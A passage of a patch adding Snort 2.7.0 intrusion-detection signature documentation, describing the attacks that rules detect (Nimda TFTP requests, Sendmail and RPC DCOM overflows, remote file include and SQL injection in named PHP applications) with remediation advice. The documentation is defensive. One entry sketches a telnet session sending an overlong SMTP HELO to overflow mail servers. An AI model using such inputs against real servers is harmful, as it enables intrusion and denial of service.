+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/582.txt
+++ snort-2.7.0/doc/signatures/582.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+582
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rexd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rexd is using.  Attackers can also learn what versions of the rexd protocol are accepted by rexd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rexd run.  The rexd RPC service allows remote program execution.  If weak authentication is used, an attacker may run arbitrary commands as a user other than root.
+
+--
+Affected Systems:
+AIX 4.0
+Compaq Tru64 UNIX (Any version)
+HP-UX 10.20
+HP-UX 11
+Red Hat Linux 6.0
+Red Hat Linux 7.x
+Solaris 2.5.1
+Solaris 2.6
+Solaris 7
+Solaris 8
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rexd runs.  This may be a precursor to accessing rexd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rexd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rexd, not probes of the rexd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rexd service itself. An attacker may attempt to go directly to the rexd port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/37
+
+CERT
+http://www.cert.org/advisories/CA-1992-05.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS23
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1298.txt
+++ snort-2.7.0/doc/signatures/1298.txt
@@ -0,0 +1,52 @@
+Rule:
+
+Sid: 1289
+
+Summary:
+This event is generated when a TFTP GET request is made for Admin.dll.  This is normally an indication that a system on the network is infected with the W32/Nimda worm.
+
+Impact:
+In normal situations this is a good indication that the host transmitting the request has been compromised in the past by Code Red, Code Red II, or the sacmind/IIS worm.  All of these worms created backdoors that could allow remote attackers to run abitrary commands on the machine.
+
+Detailed Information:
+The Nimda worm propogates in several ways.  After it infects a host it begins scanning for other compromised hosts, sending infected emails, infecting .html files, and adding trojans to system binaries.  To further expose the infected system it enables sharing of the c: drive, creates a Guest account, and adds the guest account to the Administrators group.  
+
+Currently this rule searches for "Admin.dll" in TFTP GET requests.  This rule will detect hosts that have just been compromised by Nimba and are searching for Admin.dll to elevate its system privileges to Local/System.
+
+Affected Systems
+Windows 95
+Windows 98
+Windows ME
+Windows NT
+Windows 2000
+
+Attack Scenarios:
+Once W32/Nimba infects a compromised host it will make a request for "Admin.dll".  This binary file is used to elevate the privilege level of the W32/Nimba worm to Local/System, so it can begin infecting system files and other hosts.
+
+Ease of Attack:
+Simple.  Nimba uses backdoors left by other worms and trojans that target IIS.  A large number of scripts and exploits exist in the wild that mimic the behavior of the Nimba worm.
+
+False Positives:
+This rule is triggered by any TFTP GET request for Admin.dll, if this file name is being used during a legitimate TFTP session this rule will generate a false positive.
+
+False Negatives:
+This rule was created to catch the generic version of the W32/Nimba worm.  Any attacker who changes "Admin.dll" to a another filename will bypass this rule.
+
+Corrective Action:
+The host generating the request should be investigated for evidence of a compromise.  Check for the presence of root.exe, Admin.dll, and unexpected .eml or .nws files.  If it is determined that the system has been compromised the only safe way to recover the system is to format the system drives and re-install the system.  
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+Additional References
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS01-044.asp
+
+CERT:
+http://www.cert.org/advisories/CA-2001-26.html
+http://www.cert.org/tech_tips/win-UNIX-system_compromise.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1549.txt
+++ snort-2.7.0/doc/signatures/1549.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+
+1549
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer in an SMTP server via a long SMTP HELO command. 
+
+--
+Impact:
+A remote attacker could exploit this vulnerability to cause a denial of service, or possibly execute arbitrary code.
+
+--
+Detailed Information:
+Most SMTP servers do not properly validate the input string. A buffer overflow may occur when an attacker use a HELO command followed by 1024+ characters. If the server is vulnerable ,it will crash or close the connection, otherwise it will give an error message.
+
+--
+Affected Systems:
+
+	SMTP servers Any version
+	AppleShare IP Mail Server Any version
+	Mercury Mail Server Any version
+	SLMail v2.6 and earlier
+	
+
+--
+Attack Scenarios:
+telnet victim.foo.com 25
+helo victim
+220 victim SMTP Server Ready 
+HELO XXXXXXXXXXX[a thousand of these]XXXXXXXX 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2264.txt
+++ snort-2.7.0/doc/signatures/2264.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2264
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000697.txt
+++ snort-2.7.0/doc/signatures/100000697.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000697
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VCard PRO" application running on a webserver. Access to the file "search.php" with SQL commands being passed as the "event_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "event_id" parameter in the "search.php" script used by the "VCard PRO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VCard PRO
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3410.txt
+++ snort-2.7.0/doc/signatures/3410.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3410
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000436.txt
+++ snort-2.7.0/doc/signatures/100000436.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000436
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "Bs_Wse_Profile.class.php" using a remote file being passed as the "APP[path][plugins]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][plugins]" parameter in the "Bs_Wse_Profile.class.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1076.txt
+++ snort-2.7.0/doc/signatures/1076.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1076
+
+--
+Summary:
+This event is generated when an attempt is made to access the repost.asp file.
+
+--
+Impact:
+File upload.  This attack may permit an attacker to upload files to the /users directory on the vulnerable server. 
+
+--
+Detailed Information:
+Microsoft Site Server is software for Windows NT servers that allows users to publish, find, and share information.  A vulnerability exists when accessing the repost.asp file, allowing an attacker to upload files to the /users directory of the vulnerable server if access permissions have not been restricted.
+
+--
+Affected Systems:
+Microsoft Site Server 2.0.
+
+--
+Attack Scenarios:
+An attacker can access the respost.asp file, permitting the unauthorized upload of files to the /users directory.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Restrict access permissions on the /users directory.
+
+--
+Contributors:
+Original rute writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10372
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000463.txt
+++ snort-2.7.0/doc/signatures/100000463.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000463
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Joomla" application running on a webserver. 
+Access to the file "joomla.php" using a remote file being passed as the 
+"includepath" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "includepath" parameter in the "joomla.php" script used 
+by the "Joomla" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Joomla
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/673.txt
+++ snort-2.7.0/doc/signatures/673.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+NGSSoftware Advisory:
+http://www.nextgenss.com/advisories/mssql-jobs2.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/100000803.txt
+++ snort-2.7.0/doc/signatures/100000803.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000803
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BosClassifieds" application running on a webserver. Access to the file "recent.php" using a remote file being passed as the "insPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "insPath" parameter in the "recent.php" script used by the "BosClassifieds" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BosClassifieds
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2554.txt
+++ snort-2.7.0/doc/signatures/2554.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2554
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/487.txt
+++ snort-2.7.0/doc/signatures/487.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+
+Sid:
+486
+
+--
+
+Summary:
+This event is generated when an ICMP destination unreachable
+(Communication with Destination Host is Administratively Prohibited)
+datagram is detected on the network.  
+
+--
+
+Impact:
+This message is generated when a datagram failed to traverse the
+network.  This could be an indication of routing or network problems.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large
+numbers of these messages on the network could indication routing
+problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None known.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+This rule detects informational network information, so no corrective
+action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None.
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000589.txt
+++ snort-2.7.0/doc/signatures/100000589.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000589
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "db_import.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "db_import.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2012.txt
+++ snort-2.7.0/doc/signatures/2012.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2012
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to connect 
+to CVS using the credentials of a user with escalated privileges. Should
+this attempt be succesful the entire CVS repository may be compromised.
+
+--
+Detailed Information:
+This rule detects attempts to connect to a CVS repository that fail due 
+determined activity by an attacker to gain unauthorized access to the 
+CVS respository.
+
+The source code of software in the repository may be compromised by a 
+succesful attacker who could choose to insert malicious code of his own 
+making.
+
+For CVS daemons running under changed root conditions (chroot), the rest
+of the operating system files may be protected but the entire CVS 
+directory structure and contents is vulnerable.
+
+--
+Affected Systems:
+	All versions of CVS
+	
+--
+Attack Scenarios:
+This may be an intelligence gathering activity or an attempt to log in 
+to CVS using the credentials of an authorized user.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+It is possible that the cvsroot on the server is misconfigured. Check 
+permissions on the cvsroot to ensure the repository is writable by the 
+cvsdaemon.
+
+--
+False Negatives:
+Connections to the server using zlib compression will not generate this
+event.
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous cvs access to the server where appropriate.
+
+Maintain checks on the password database and the CVS repository.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVS:
+http://www.cvshome.org/docs/
+
+--
--- snort-2.7.0.orig/doc/signatures/1091.txt
+++ snort-2.7.0/doc/signatures/1091.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1091
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2348.txt
+++ snort-2.7.0/doc/signatures/2348.txt
@@ -0,0 +1,53 @@
+Rule:  
+
+--
+Sid:
+2348
+
+--
+Summary:
+This rule does not generate an event. I does activate sid 2349 however.s
+
+--
+Impact:
+Intelligence gathering.
+
+--
+Detailed Information:
+This rule checks for a bind to a print spool using DCE RPC. This may be
+an attempt to check for printer and printer services available on a
+host. Sid 2349 will generate an event when an attempt is made to
+enumerate the printer service on a host.
+
+--
+Affected Systems:
+	All Microsoft DCE RPC enabled systems
+	
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000671.txt
+++ snort-2.7.0/doc/signatures/100000671.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000671
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "preload.php" using a remote file being passed as the 
+"func_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "func_prog" parameter in the "preload.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000860.txt
+++ snort-2.7.0/doc/signatures/100000860.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000860
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Francisco Charrua Photo-Gallery" application running on a webserver. Access to the file "room.php" with SQL commands being passed as the "id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "id" parameter in the "room.php" script used by the "Francisco Charrua Photo-Gallery" application running on a webserver.
+
